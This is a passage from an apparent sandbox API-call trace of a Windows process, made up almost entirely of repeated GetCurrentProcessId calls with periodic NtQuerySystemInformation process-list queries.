GetCurrentProcessId () returned 0xbf4 [0236.305] GetCurrentProcessId () returned 0xbf4 [0236.305] GetCurrentProcessId () returned 0xbf4 [0236.305] GetCurrentProcessId () returned 0xbf4 [0236.305] GetCurrentProcessId () returned 0xbf4 [0236.866] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12da3098, Length=0x20000, ResultLength=0x1b7bebb0 | out: SystemInformation=0x12da3098, ResultLength=0x1b7bebb0*=0x1ca40) returned 0x0 [0236.875] GetCurrentProcessId () returned 0xbf4 [0236.875] GetCurrentProcessId () returned 0xbf4 [0236.875] GetCurrentProcessId () returned 0xbf4 [0236.875] GetCurrentProcessId () returned 0xbf4 [0236.875] GetCurrentProcessId () returned 0xbf4 [0236.875] GetCurrentProcessId () returned 0xbf4 [0236.875] GetCurrentProcessId () returned 0xbf4 [0236.875] GetCurrentProcessId () returned 0xbf4 [0236.875] GetCurrentProcessId () returned 0xbf4 [0236.875] GetCurrentProcessId () returned 0xbf4 [0236.875] GetCurrentProcessId () returned 0xbf4 [0236.875] GetCurrentProcessId () returned 0xbf4 [0236.875] GetCurrentProcessId () returned 0xbf4 [0236.875] GetCurrentProcessId () returned 0xbf4 [0236.875] GetCurrentProcessId () returned 0xbf4 [0236.875] GetCurrentProcessId () returned 0xbf4 [0236.875] GetCurrentProcessId () returned 0xbf4 [0236.875] GetCurrentProcessId () returned 0xbf4 [0236.875] GetCurrentProcessId () returned 0xbf4 [0236.876] GetCurrentProcessId () returned 0xbf4 [0236.876] GetCurrentProcessId () returned 0xbf4 [0236.876] GetCurrentProcessId () returned 0xbf4 [0236.876] GetCurrentProcessId () returned 0xbf4 [0236.876] GetCurrentProcessId () returned 0xbf4 [0236.876] GetCurrentProcessId () returned 0xbf4 [0236.876] GetCurrentProcessId () returned 0xbf4 [0236.876] GetCurrentProcessId () returned 0xbf4 [0236.876] GetCurrentProcessId () returned 0xbf4 [0236.876] GetCurrentProcessId () returned 0xbf4 [0236.876] GetCurrentProcessId () returned 0xbf4 [0236.876] GetCurrentProcessId () returned 0xbf4 [0236.876] GetCurrentProcessId () returned 0xbf4 [0236.876] GetCurrentProcessId () returned 0xbf4 [0236.876] GetCurrentProcessId () returned 0xbf4 [0236.876] GetCurrentProcessId () returned 0xbf4 [0236.876] GetCurrentProcessId () returned 0xbf4 [0236.876] GetCurrentProcessId () returned 0xbf4 [0236.876] GetCurrentProcessId () returned 0xbf4 [0236.876] GetCurrentProcessId () returned 0xbf4 [0236.876] GetCurrentProcessId () returned 0xbf4 [0236.876] GetCurrentProcessId () returned 0xbf4 [0236.876] GetCurrentProcessId () returned 0xbf4 [0236.876] GetCurrentProcessId () returned 0xbf4 [0236.876] GetCurrentProcessId () returned 0xbf4 [0236.876] GetCurrentProcessId () returned 0xbf4 [0236.876] GetCurrentProcessId () returned 0xbf4 [0236.876] GetCurrentProcessId () returned 0xbf4 [0236.877] GetCurrentProcessId () returned 0xbf4 [0236.877] GetCurrentProcessId () returned 0xbf4 [0236.877] GetCurrentProcessId () returned 0xbf4 [0236.877] GetCurrentProcessId () returned 0xbf4 [0236.877] GetCurrentProcessId () returned 0xbf4 [0236.877] GetCurrentProcessId () returned 0xbf4 [0236.877] GetCurrentProcessId () returned 0xbf4 [0236.877] GetCurrentProcessId () returned 0xbf4 [0236.877] GetCurrentProcessId () returned 0xbf4 [0236.877] GetCurrentProcessId () returned 0xbf4 [0236.877] GetCurrentProcessId () returned 0xbf4 [0236.877] GetCurrentProcessId () returned 0xbf4 [0236.877] GetCurrentProcessId () returned 0xbf4 [0236.877] GetCurrentProcessId () returned 0xbf4 [0236.877] GetCurrentProcessId () returned 0xbf4 [0236.877] GetCurrentProcessId () returned 0xbf4 [0236.877] GetCurrentProcessId () returned 0xbf4 [0236.877] GetCurrentProcessId () returned 0xbf4 [0236.877] GetCurrentProcessId () returned 0xbf4 [0236.877] GetCurrentProcessId () returned 0xbf4 [0236.877] GetCurrentProcessId () returned 0xbf4 [0236.877] GetCurrentProcessId () returned 0xbf4 [0236.877] GetCurrentProcessId () returned 0xbf4 [0236.877] GetCurrentProcessId () returned 0xbf4 [0236.877] GetCurrentProcessId () returned 0xbf4 [0236.877] GetCurrentProcessId () returned 0xbf4 [0236.877] GetCurrentProcessId () returned 0xbf4 [0236.877] GetCurrentProcessId () returned 0xbf4 [0236.877] GetCurrentProcessId () returned 0xbf4 [0236.878] GetCurrentProcessId () returned 0xbf4 [0236.878] GetCurrentProcessId () returned 0xbf4 [0236.878] GetCurrentProcessId () returned 0xbf4 [0236.878] GetCurrentProcessId () returned 0xbf4 [0236.878] GetCurrentProcessId () returned 0xbf4 [0236.878] GetCurrentProcessId () returned 0xbf4 [0236.878] GetCurrentProcessId () returned 0xbf4 [0236.878] GetCurrentProcessId () returned 0xbf4 [0236.878] GetCurrentProcessId () returned 0xbf4 [0236.878] GetCurrentProcessId () returned 0xbf4 [0236.878] GetCurrentProcessId () returned 0xbf4 [0236.878] GetCurrentProcessId () returned 0xbf4 [0236.878] GetCurrentProcessId () returned 0xbf4 [0236.878] GetCurrentProcessId () returned 0xbf4 [0236.878] GetCurrentProcessId () returned 0xbf4 [0236.878] GetCurrentProcessId () returned 0xbf4 [0236.878] GetCurrentProcessId () returned 0xbf4 [0236.878] GetCurrentProcessId () returned 0xbf4 [0236.878] GetCurrentProcessId () returned 0xbf4 [0236.878] GetCurrentProcessId () returned 0xbf4 [0236.878] GetCurrentProcessId () returned 0xbf4 [0236.878] GetCurrentProcessId () returned 0xbf4 [0236.878] GetCurrentProcessId () returned 0xbf4 [0236.878] GetCurrentProcessId () returned 0xbf4 [0236.878] GetCurrentProcessId () returned 0xbf4 [0236.878] GetCurrentProcessId () returned 0xbf4 [0236.878] GetCurrentProcessId () returned 0xbf4 [0236.878] GetCurrentProcessId () returned 0xbf4 [0236.878] GetCurrentProcessId () returned 0xbf4 [0236.879] GetCurrentProcessId () returned 0xbf4 [0236.879] GetCurrentProcessId () returned 0xbf4 [0237.428] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12da3098, Length=0x20000, ResultLength=0x1b7bebb0 | out: SystemInformation=0x12da3098, ResultLength=0x1b7bebb0*=0x1ca40) returned 0x0 [0237.431] GetCurrentProcessId () returned 0xbf4 [0237.431] GetCurrentProcessId () returned 0xbf4 [0237.431] GetCurrentProcessId () returned 0xbf4 [0237.431] GetCurrentProcessId () returned 0xbf4 [0237.431] GetCurrentProcessId () returned 0xbf4 [0237.431] GetCurrentProcessId () returned 0xbf4 [0237.431] GetCurrentProcessId () returned 0xbf4 [0237.431] GetCurrentProcessId () returned 0xbf4 [0237.431] GetCurrentProcessId () returned 0xbf4 [0237.431] GetCurrentProcessId () returned 0xbf4 [0237.431] GetCurrentProcessId () returned 0xbf4 [0237.431] GetCurrentProcessId () returned 0xbf4 [0237.432] GetCurrentProcessId () returned 0xbf4 [0237.432] GetCurrentProcessId () returned 0xbf4 [0237.432] GetCurrentProcessId () returned 0xbf4 [0237.432] GetCurrentProcessId () returned 0xbf4 [0237.432] GetCurrentProcessId () returned 0xbf4 [0237.432] GetCurrentProcessId () returned 0xbf4 [0237.432] GetCurrentProcessId () returned 0xbf4 [0237.432] GetCurrentProcessId () returned 0xbf4 [0237.432] GetCurrentProcessId () returned 0xbf4 [0237.432] GetCurrentProcessId () returned 0xbf4 [0237.432] GetCurrentProcessId () returned 0xbf4 [0237.432] GetCurrentProcessId () returned 0xbf4 [0237.432] GetCurrentProcessId () returned 0xbf4 [0237.432] GetCurrentProcessId () returned 0xbf4 [0237.432] GetCurrentProcessId () returned 0xbf4 [0237.432] GetCurrentProcessId () returned 0xbf4 [0237.432] GetCurrentProcessId () returned 0xbf4 [0237.432] GetCurrentProcessId () returned 0xbf4 [0237.432] GetCurrentProcessId () returned 0xbf4 [0237.432] GetCurrentProcessId () returned 0xbf4 [0237.432] GetCurrentProcessId () returned 0xbf4 [0237.432] GetCurrentProcessId () returned 0xbf4 [0237.432] GetCurrentProcessId () returned 0xbf4 [0237.432] GetCurrentProcessId () returned 0xbf4 [0237.432] GetCurrentProcessId () returned 0xbf4 [0237.432] GetCurrentProcessId () returned 0xbf4 [0237.432] GetCurrentProcessId () returned 0xbf4 [0237.433] GetCurrentProcessId () returned 0xbf4 [0237.433] GetCurrentProcessId () returned 0xbf4 [0237.433] GetCurrentProcessId () returned 0xbf4 [0237.433] GetCurrentProcessId () returned 0xbf4 [0237.433] GetCurrentProcessId () returned 0xbf4 [0237.433] GetCurrentProcessId () returned 0xbf4 [0237.433] GetCurrentProcessId () returned 0xbf4 [0237.433] GetCurrentProcessId () returned 0xbf4 [0237.433] GetCurrentProcessId () returned 0xbf4 [0237.433] GetCurrentProcessId () returned 0xbf4 [0237.433] GetCurrentProcessId () returned 0xbf4 [0237.433] GetCurrentProcessId () returned 0xbf4 [0237.433] GetCurrentProcessId () returned 0xbf4 [0237.433] GetCurrentProcessId () returned 0xbf4 [0237.433] GetCurrentProcessId () returned 0xbf4 [0237.433] GetCurrentProcessId () returned 0xbf4 [0237.433] GetCurrentProcessId () returned 0xbf4 [0237.433] GetCurrentProcessId () returned 0xbf4 [0237.433] GetCurrentProcessId () returned 0xbf4 [0237.433] GetCurrentProcessId () returned 0xbf4 [0237.433] GetCurrentProcessId () returned 0xbf4 [0237.433] GetCurrentProcessId () returned 0xbf4 [0237.433] GetCurrentProcessId () returned 0xbf4 [0237.433] GetCurrentProcessId () returned 0xbf4 [0237.433] GetCurrentProcessId () returned 0xbf4 [0237.433] GetCurrentProcessId () returned 0xbf4 [0237.433] GetCurrentProcessId () returned 0xbf4 [0237.433] GetCurrentProcessId () returned 0xbf4 [0237.433] GetCurrentProcessId () returned 0xbf4 [0237.434] GetCurrentProcessId () returned 0xbf4 [0237.434] GetCurrentProcessId () returned 0xbf4 [0237.434] GetCurrentProcessId () returned 0xbf4 [0237.434] GetCurrentProcessId () returned 0xbf4 [0237.434] GetCurrentProcessId () returned 0xbf4 [0237.434] GetCurrentProcessId () returned 0xbf4 [0237.434] GetCurrentProcessId () returned 0xbf4 [0237.434] GetCurrentProcessId () returned 0xbf4 [0237.434] GetCurrentProcessId () returned 0xbf4 [0237.434] GetCurrentProcessId () returned 0xbf4 [0237.434] GetCurrentProcessId () returned 0xbf4 [0237.434] GetCurrentProcessId () returned 0xbf4 [0237.434] GetCurrentProcessId () returned 0xbf4 [0237.434] GetCurrentProcessId () returned 0xbf4 [0237.434] GetCurrentProcessId () returned 0xbf4 [0237.434] GetCurrentProcessId () returned 0xbf4 [0237.434] GetCurrentProcessId () returned 0xbf4 [0237.434] GetCurrentProcessId () returned 0xbf4 [0237.434] GetCurrentProcessId () returned 0xbf4 [0237.434] GetCurrentProcessId () returned 0xbf4 [0237.434] GetCurrentProcessId () returned 0xbf4 [0237.434] GetCurrentProcessId () returned 0xbf4 [0237.434] GetCurrentProcessId () returned 0xbf4 [0237.434] GetCurrentProcessId () returned 0xbf4 [0237.434] GetCurrentProcessId () returned 0xbf4 [0237.434] GetCurrentProcessId () returned 0xbf4 [0237.434] GetCurrentProcessId () returned 0xbf4 [0237.434] GetCurrentProcessId () returned 0xbf4 [0237.434] GetCurrentProcessId () returned 0xbf4 [0237.435] GetCurrentProcessId () returned 0xbf4 [0237.435] GetCurrentProcessId () returned 0xbf4 [0237.435] GetCurrentProcessId () returned 0xbf4 [0237.435] GetCurrentProcessId () returned 0xbf4 [0237.435] GetCurrentProcessId () returned 0xbf4 [0237.435] GetCurrentProcessId () returned 0xbf4 [0237.435] GetCurrentProcessId () returned 0xbf4 [0237.435] GetCurrentProcessId () returned 0xbf4 [0237.435] GetCurrentProcessId () returned 0xbf4 [0237.435] GetCurrentProcessId () returned 0xbf4 [0238.024] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12da3098, Length=0x20000, ResultLength=0x1b7bebb0 | out: SystemInformation=0x12da3098, ResultLength=0x1b7bebb0*=0x1ca40) returned 0x0 [0238.031] GetCurrentProcessId () returned 0xbf4 [0238.031] GetCurrentProcessId () returned 0xbf4 [0238.031] GetCurrentProcessId () returned 0xbf4 [0238.031] GetCurrentProcessId () returned 0xbf4 [0238.031] GetCurrentProcessId () returned 0xbf4 [0238.031] GetCurrentProcessId () returned 0xbf4 [0238.031] GetCurrentProcessId () returned 0xbf4 [0238.031] GetCurrentProcessId () returned 0xbf4 [0238.031] GetCurrentProcessId () returned 0xbf4 [0238.031] GetCurrentProcessId () returned 0xbf4 [0238.031] GetCurrentProcessId () returned 0xbf4 [0238.031] GetCurrentProcessId () returned 0xbf4 [0238.031] GetCurrentProcessId () returned 0xbf4 [0238.031] GetCurrentProcessId () returned 0xbf4 [0238.031] GetCurrentProcessId () returned 0xbf4 [0238.031] GetCurrentProcessId () returned 0xbf4 [0238.031] GetCurrentProcessId () returned 0xbf4 [0238.031] GetCurrentProcessId () returned 0xbf4 [0238.031] GetCurrentProcessId () returned 0xbf4 [0238.031] GetCurrentProcessId () returned 0xbf4 [0238.031] GetCurrentProcessId () returned 0xbf4 [0238.031] GetCurrentProcessId () returned 0xbf4 [0238.031] GetCurrentProcessId () returned 0xbf4 [0238.031] GetCurrentProcessId () returned 0xbf4 [0238.031] GetCurrentProcessId () returned 0xbf4 [0238.032] GetCurrentProcessId () returned 0xbf4 [0238.032] GetCurrentProcessId () returned 0xbf4 [0238.032] GetCurrentProcessId () returned 0xbf4 [0238.032] GetCurrentProcessId () returned 0xbf4 [0238.032] GetCurrentProcessId () returned 0xbf4 [0238.032] GetCurrentProcessId () returned 0xbf4 [0238.032] GetCurrentProcessId () returned 0xbf4 [0238.032] GetCurrentProcessId () returned 0xbf4 [0238.032] GetCurrentProcessId () returned 0xbf4 [0238.032] GetCurrentProcessId () returned 0xbf4 [0238.032] GetCurrentProcessId () returned 0xbf4 [0238.032] GetCurrentProcessId () returned 0xbf4 [0238.032] GetCurrentProcessId () returned 0xbf4 [0238.032] GetCurrentProcessId () returned 0xbf4 [0238.032] GetCurrentProcessId () returned 0xbf4 [0238.032] GetCurrentProcessId () returned 0xbf4 [0238.032] GetCurrentProcessId () returned 0xbf4 [0238.032] GetCurrentProcessId () returned 0xbf4 [0238.032] GetCurrentProcessId () returned 0xbf4 [0238.032] GetCurrentProcessId () returned 0xbf4 [0238.032] GetCurrentProcessId () returned 0xbf4 [0238.032] GetCurrentProcessId () returned 0xbf4 [0238.032] GetCurrentProcessId () returned 0xbf4 [0238.032] GetCurrentProcessId () returned 0xbf4 [0238.032] GetCurrentProcessId () returned 0xbf4 [0238.032] GetCurrentProcessId () returned 0xbf4 [0238.033] GetCurrentProcessId () returned 0xbf4 [0238.033] GetCurrentProcessId () returned 0xbf4 [0238.033] GetCurrentProcessId () returned 0xbf4 [0238.033] GetCurrentProcessId () returned 0xbf4 [0238.033] GetCurrentProcessId () returned 0xbf4 [0238.033] GetCurrentProcessId () returned 0xbf4 [0238.033] GetCurrentProcessId () returned 0xbf4 [0238.033] GetCurrentProcessId () returned 0xbf4 [0238.033] GetCurrentProcessId () returned 0xbf4 [0238.033] GetCurrentProcessId () returned 0xbf4 [0238.033] GetCurrentProcessId () returned 0xbf4 [0238.033] GetCurrentProcessId () returned 0xbf4 [0238.033] GetCurrentProcessId () returned 0xbf4 [0238.033] GetCurrentProcessId () returned 0xbf4 [0238.033] GetCurrentProcessId () returned 0xbf4 [0238.033] GetCurrentProcessId () returned 0xbf4 [0238.033] GetCurrentProcessId () returned 0xbf4 [0238.033] GetCurrentProcessId () returned 0xbf4 [0238.033] GetCurrentProcessId () returned 0xbf4 [0238.033] GetCurrentProcessId () returned 0xbf4 [0238.033] GetCurrentProcessId () returned 0xbf4 [0238.033] GetCurrentProcessId () returned 0xbf4 [0238.033] GetCurrentProcessId () returned 0xbf4 [0238.033] GetCurrentProcessId () returned 0xbf4 [0238.033] GetCurrentProcessId () returned 0xbf4 [0238.033] GetCurrentProcessId () returned 0xbf4 [0238.033] GetCurrentProcessId () returned 0xbf4 [0238.034] GetCurrentProcessId () returned 0xbf4 [0238.034] GetCurrentProcessId () returned 0xbf4 [0238.034] GetCurrentProcessId () returned 0xbf4 [0238.034] GetCurrentProcessId () returned 0xbf4 [0238.034] GetCurrentProcessId () returned 0xbf4 [0238.034] GetCurrentProcessId () returned 0xbf4 [0238.034] GetCurrentProcessId () returned 0xbf4 [0238.034] GetCurrentProcessId () returned 0xbf4 [0238.034] GetCurrentProcessId () returned 0xbf4 [0238.034] GetCurrentProcessId () returned 0xbf4 [0238.034] GetCurrentProcessId () returned 0xbf4 [0238.034] GetCurrentProcessId () returned 0xbf4 [0238.034] GetCurrentProcessId () returned 0xbf4 [0238.034] GetCurrentProcessId () returned 0xbf4 [0238.034] GetCurrentProcessId () returned 0xbf4 [0238.034] GetCurrentProcessId () returned 0xbf4 [0238.034] GetCurrentProcessId () returned 0xbf4 [0238.034] GetCurrentProcessId () returned 0xbf4 [0238.034] GetCurrentProcessId () returned 0xbf4 [0238.034] GetCurrentProcessId () returned 0xbf4 [0238.034] GetCurrentProcessId () returned 0xbf4 [0238.034] GetCurrentProcessId () returned 0xbf4 [0238.034] GetCurrentProcessId () returned 0xbf4 [0238.034] GetCurrentProcessId () returned 0xbf4 [0238.034] GetCurrentProcessId () returned 0xbf4 [0238.034] GetCurrentProcessId () returned 0xbf4 [0238.034] GetCurrentProcessId () returned 0xbf4 [0238.034] GetCurrentProcessId () returned 0xbf4 [0238.035] GetCurrentProcessId () returned 0xbf4 [0238.691] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12da3098, Length=0x20000, ResultLength=0x1b7bebb0 | out: SystemInformation=0x12da3098, ResultLength=0x1b7bebb0*=0x1ca90) returned 0x0 [0238.716] GetCurrentProcessId () returned 0xbf4 [0238.716] GetCurrentProcessId () returned 0xbf4 [0238.716] GetCurrentProcessId () returned 0xbf4 [0238.716] GetCurrentProcessId () returned 0xbf4 [0238.716] GetCurrentProcessId () returned 0xbf4 [0238.716] GetCurrentProcessId () returned 0xbf4 [0238.716] GetCurrentProcessId () returned 0xbf4 [0238.717] GetCurrentProcessId () returned 0xbf4 [0238.717] GetCurrentProcessId () returned 0xbf4 [0238.717] GetCurrentProcessId () returned 0xbf4 [0238.717] GetCurrentProcessId () returned 0xbf4 [0238.717] GetCurrentProcessId () returned 0xbf4 [0238.717] GetCurrentProcessId () returned 0xbf4 [0238.717] GetCurrentProcessId () returned 0xbf4 [0238.717] GetCurrentProcessId () returned 0xbf4 [0238.717] GetCurrentProcessId () returned 0xbf4 [0238.717] GetCurrentProcessId () returned 0xbf4 [0238.717] GetCurrentProcessId () returned 0xbf4 [0238.717] GetCurrentProcessId () returned 0xbf4 [0238.717] GetCurrentProcessId () returned 0xbf4 [0238.717] GetCurrentProcessId () returned 0xbf4 [0238.717] GetCurrentProcessId () returned 0xbf4 [0238.717] GetCurrentProcessId () returned 0xbf4 [0238.717] GetCurrentProcessId () returned 0xbf4 [0238.717] GetCurrentProcessId () returned 0xbf4 [0238.717] GetCurrentProcessId () returned 0xbf4 [0238.717] GetCurrentProcessId () returned 0xbf4 [0238.717] GetCurrentProcessId () returned 0xbf4 [0238.717] GetCurrentProcessId () returned 0xbf4 [0238.717] GetCurrentProcessId () returned 0xbf4 [0238.717] GetCurrentProcessId () returned 0xbf4 [0238.717] GetCurrentProcessId () returned 0xbf4 [0238.717] GetCurrentProcessId () returned 0xbf4 [0238.717] GetCurrentProcessId () returned 0xbf4 [0238.717] GetCurrentProcessId () returned 0xbf4 [0238.717] GetCurrentProcessId () returned 0xbf4 [0238.717] GetCurrentProcessId () returned 0xbf4 [0238.717] GetCurrentProcessId () returned 0xbf4 [0238.718] GetCurrentProcessId () returned 0xbf4 [0238.718] GetCurrentProcessId () returned 0xbf4 [0238.718] GetCurrentProcessId () returned 0xbf4 [0238.718] GetCurrentProcessId () returned 0xbf4 [0238.718] GetCurrentProcessId () returned 0xbf4 [0238.718] GetCurrentProcessId () returned 0xbf4 [0238.718] GetCurrentProcessId () returned 0xbf4 [0238.718] GetCurrentProcessId () returned 0xbf4 [0238.718] GetCurrentProcessId () returned 0xbf4 [0238.718] GetCurrentProcessId () returned 0xbf4 [0238.718] GetCurrentProcessId () returned 0xbf4 [0238.718] GetCurrentProcessId () returned 0xbf4 [0238.718] GetCurrentProcessId () returned 0xbf4 [0238.718] GetCurrentProcessId () returned 0xbf4 [0238.718] GetCurrentProcessId () returned 0xbf4 [0238.718] GetCurrentProcessId () returned 0xbf4 [0238.718] GetCurrentProcessId () returned 0xbf4 [0238.718] GetCurrentProcessId () returned 0xbf4 [0238.718] GetCurrentProcessId () returned 0xbf4 [0238.718] GetCurrentProcessId () returned 0xbf4 [0238.718] GetCurrentProcessId () returned 0xbf4 [0238.718] GetCurrentProcessId () returned 0xbf4 [0238.718] GetCurrentProcessId () returned 0xbf4 [0238.718] GetCurrentProcessId () returned 0xbf4 [0238.718] GetCurrentProcessId () returned 0xbf4 [0238.718] GetCurrentProcessId () returned 0xbf4 [0238.718] GetCurrentProcessId () returned 0xbf4 [0238.718] GetCurrentProcessId () returned 0xbf4 [0238.718] GetCurrentProcessId () returned 0xbf4 [0238.718] GetCurrentProcessId () returned 0xbf4 [0238.719] GetCurrentProcessId () returned 0xbf4 [0238.719] GetCurrentProcessId () returned 0xbf4 [0238.719] GetCurrentProcessId () returned 0xbf4 [0238.719] GetCurrentProcessId () returned 0xbf4 [0238.719] GetCurrentProcessId () returned 0xbf4 [0238.719] GetCurrentProcessId () returned 0xbf4 [0238.719] GetCurrentProcessId () returned 0xbf4 [0238.719] GetCurrentProcessId () returned 0xbf4 [0238.719] GetCurrentProcessId () returned 0xbf4 [0238.719] GetCurrentProcessId () returned 0xbf4 [0238.719] GetCurrentProcessId () returned 0xbf4 [0238.719] GetCurrentProcessId () returned 0xbf4 [0238.719] GetCurrentProcessId () returned 0xbf4 [0238.719] GetCurrentProcessId () returned 0xbf4 [0238.719] GetCurrentProcessId () returned 0xbf4 [0238.719] GetCurrentProcessId () returned 0xbf4 [0238.719] GetCurrentProcessId () returned 0xbf4 [0238.719] GetCurrentProcessId () returned 0xbf4 [0238.719] GetCurrentProcessId () returned 0xbf4 [0238.719] GetCurrentProcessId () returned 0xbf4 [0238.719] GetCurrentProcessId () returned 0xbf4 [0238.719] GetCurrentProcessId () returned 0xbf4 [0238.719] GetCurrentProcessId () returned 0xbf4 [0238.719] GetCurrentProcessId () returned 0xbf4 [0238.719] GetCurrentProcessId () returned 0xbf4 [0238.719] GetCurrentProcessId () returned 0xbf4 [0238.719] GetCurrentProcessId () returned 0xbf4 [0238.719] GetCurrentProcessId () returned 0xbf4 [0238.719] GetCurrentProcessId () returned 0xbf4 [0238.719] GetCurrentProcessId () returned 0xbf4 [0238.720] GetCurrentProcessId () returned 0xbf4 [0238.720] GetCurrentProcessId () returned 0xbf4 [0238.720] GetCurrentProcessId () returned 0xbf4 [0238.720] GetCurrentProcessId () returned 0xbf4 [0238.720] GetCurrentProcessId () returned 0xbf4 [0238.720] GetCurrentProcessId () returned 0xbf4 [0238.720] GetCurrentProcessId () returned 0xbf4 [0238.720] GetCurrentProcessId () returned 0xbf4 [0238.720] GetCurrentProcessId () returned 0xbf4 [0239.309] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12da3098, Length=0x20000, ResultLength=0x1b7bebb0 | out: SystemInformation=0x12da3098, ResultLength=0x1b7bebb0*=0x1ca90) returned 0x0 [0239.317] GetCurrentProcessId () returned 0xbf4 [0239.318] GetCurrentProcessId () returned 0xbf4 [0239.318] GetCurrentProcessId () returned 0xbf4 [0239.318] GetCurrentProcessId () returned 0xbf4 [0239.318] GetCurrentProcessId () returned 0xbf4 [0239.318] GetCurrentProcessId () returned 0xbf4 [0239.318] GetCurrentProcessId () returned 0xbf4 [0239.318] GetCurrentProcessId () returned 0xbf4 [0239.318] GetCurrentProcessId () returned 0xbf4 [0239.318] GetCurrentProcessId () returned 0xbf4 [0239.318] GetCurrentProcessId () returned 0xbf4 [0239.318] GetCurrentProcessId () returned 0xbf4 [0239.318] GetCurrentProcessId () returned 0xbf4 [0239.318] GetCurrentProcessId () returned 0xbf4 [0239.318] GetCurrentProcessId () returned 0xbf4 [0239.318] GetCurrentProcessId () returned 0xbf4 [0239.318] GetCurrentProcessId () returned 0xbf4 [0239.318] GetCurrentProcessId () returned 0xbf4 [0239.318] GetCurrentProcessId () returned 0xbf4 [0239.318] GetCurrentProcessId () returned 0xbf4 [0239.318] GetCurrentProcessId () returned 0xbf4 [0239.318] GetCurrentProcessId () returned 0xbf4 [0239.318] GetCurrentProcessId () returned 0xbf4 [0239.318] GetCurrentProcessId () returned 0xbf4 [0239.318] GetCurrentProcessId () returned 0xbf4 [0239.318] GetCurrentProcessId () returned 0xbf4 [0239.319] GetCurrentProcessId () returned 0xbf4 [0239.319] GetCurrentProcessId () returned 0xbf4 [0239.319] GetCurrentProcessId () returned 0xbf4 [0239.319] GetCurrentProcessId () returned 0xbf4 [0239.319] GetCurrentProcessId () returned 0xbf4 [0239.319] GetCurrentProcessId () returned 0xbf4 [0239.319] GetCurrentProcessId () returned 0xbf4 [0239.319] GetCurrentProcessId () returned 0xbf4 [0239.319] GetCurrentProcessId () returned 0xbf4 [0239.319] GetCurrentProcessId () returned 0xbf4 [0239.319] GetCurrentProcessId () returned 0xbf4 [0239.319] GetCurrentProcessId () returned 0xbf4 [0239.319] GetCurrentProcessId () returned 0xbf4 [0239.319] GetCurrentProcessId () returned 0xbf4 [0239.319] GetCurrentProcessId () returned 0xbf4 [0239.319] GetCurrentProcessId () returned 0xbf4 [0239.319] GetCurrentProcessId () returned 0xbf4 [0239.319] GetCurrentProcessId () returned 0xbf4 [0239.319] GetCurrentProcessId () returned 0xbf4 [0239.319] GetCurrentProcessId () returned 0xbf4 [0239.319] GetCurrentProcessId () returned 0xbf4 [0239.319] GetCurrentProcessId () returned 0xbf4 [0239.319] GetCurrentProcessId () returned 0xbf4 [0239.319] GetCurrentProcessId () returned 0xbf4 [0239.319] GetCurrentProcessId () returned 0xbf4 [0239.319] GetCurrentProcessId () returned 0xbf4 [0239.319] GetCurrentProcessId () returned 0xbf4 [0239.319] GetCurrentProcessId () returned 0xbf4 [0239.319] GetCurrentProcessId () returned 0xbf4 [0239.320] GetCurrentProcessId () returned 0xbf4 [0239.320] GetCurrentProcessId () returned 0xbf4 [0239.320] GetCurrentProcessId () returned 0xbf4 [0239.320] GetCurrentProcessId () returned 0xbf4 [0239.320] GetCurrentProcessId () returned 0xbf4 [0239.320] GetCurrentProcessId () returned 0xbf4 [0239.320] GetCurrentProcessId () returned 0xbf4 [0239.320] GetCurrentProcessId () returned 0xbf4 [0239.320] GetCurrentProcessId () returned 0xbf4 [0239.320] GetCurrentProcessId () returned 0xbf4 [0239.320] GetCurrentProcessId () returned 0xbf4 [0239.320] GetCurrentProcessId () returned 0xbf4 [0239.320] GetCurrentProcessId () returned 0xbf4 [0239.320] GetCurrentProcessId () returned 0xbf4 [0239.320] GetCurrentProcessId () returned 0xbf4 [0239.320] GetCurrentProcessId () returned 0xbf4 [0239.320] GetCurrentProcessId () returned 0xbf4 [0239.320] GetCurrentProcessId () returned 0xbf4 [0239.320] GetCurrentProcessId () returned 0xbf4 [0239.320] GetCurrentProcessId () returned 0xbf4 [0239.320] GetCurrentProcessId () returned 0xbf4 [0239.320] GetCurrentProcessId () returned 0xbf4 [0239.320] GetCurrentProcessId () returned 0xbf4 [0239.320] GetCurrentProcessId () returned 0xbf4 [0239.320] GetCurrentProcessId () returned 0xbf4 [0239.320] GetCurrentProcessId () returned 0xbf4 [0239.320] GetCurrentProcessId () returned 0xbf4 [0239.320] GetCurrentProcessId () returned 0xbf4 [0239.320] GetCurrentProcessId () returned 0xbf4 [0239.321] GetCurrentProcessId () returned 0xbf4 [0239.321] GetCurrentProcessId () returned 0xbf4 [0239.321] GetCurrentProcessId () returned 0xbf4 [0239.321] GetCurrentProcessId () returned 0xbf4 [0239.321] GetCurrentProcessId () returned 0xbf4 [0239.321] GetCurrentProcessId () returned 0xbf4 [0239.321] GetCurrentProcessId () returned 0xbf4 [0239.321] GetCurrentProcessId () returned 0xbf4 [0239.321] GetCurrentProcessId () returned 0xbf4 [0239.321] GetCurrentProcessId () returned 0xbf4 [0239.321] GetCurrentProcessId () returned 0xbf4 [0239.321] GetCurrentProcessId () returned 0xbf4 [0239.321] GetCurrentProcessId () returned 0xbf4 [0239.321] GetCurrentProcessId () returned 0xbf4 [0239.321] GetCurrentProcessId () returned 0xbf4 [0239.321] GetCurrentProcessId () returned 0xbf4 [0239.321] GetCurrentProcessId () returned 0xbf4 [0239.321] GetCurrentProcessId () returned 0xbf4 [0239.321] GetCurrentProcessId () returned 0xbf4 [0239.321] GetCurrentProcessId () returned 0xbf4 [0239.321] GetCurrentProcessId () returned 0xbf4 [0239.321] GetCurrentProcessId () returned 0xbf4 [0239.321] GetCurrentProcessId () returned 0xbf4 [0239.973] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12da3098, Length=0x20000, ResultLength=0x1b7bebb0 | out: SystemInformation=0x12da3098, ResultLength=0x1b7bebb0*=0x1ca90) returned 0x0 [0239.976] GetCurrentProcessId () returned 0xbf4 [0239.976] GetCurrentProcessId () returned 0xbf4 [0239.976] GetCurrentProcessId () returned 0xbf4 [0239.976] GetCurrentProcessId () returned 0xbf4 [0239.976] GetCurrentProcessId () returned 0xbf4 [0239.976] GetCurrentProcessId () returned 0xbf4 [0239.976] GetCurrentProcessId () returned 0xbf4 [0239.976] GetCurrentProcessId () returned 0xbf4 [0239.976] GetCurrentProcessId () returned 0xbf4 [0239.976] GetCurrentProcessId 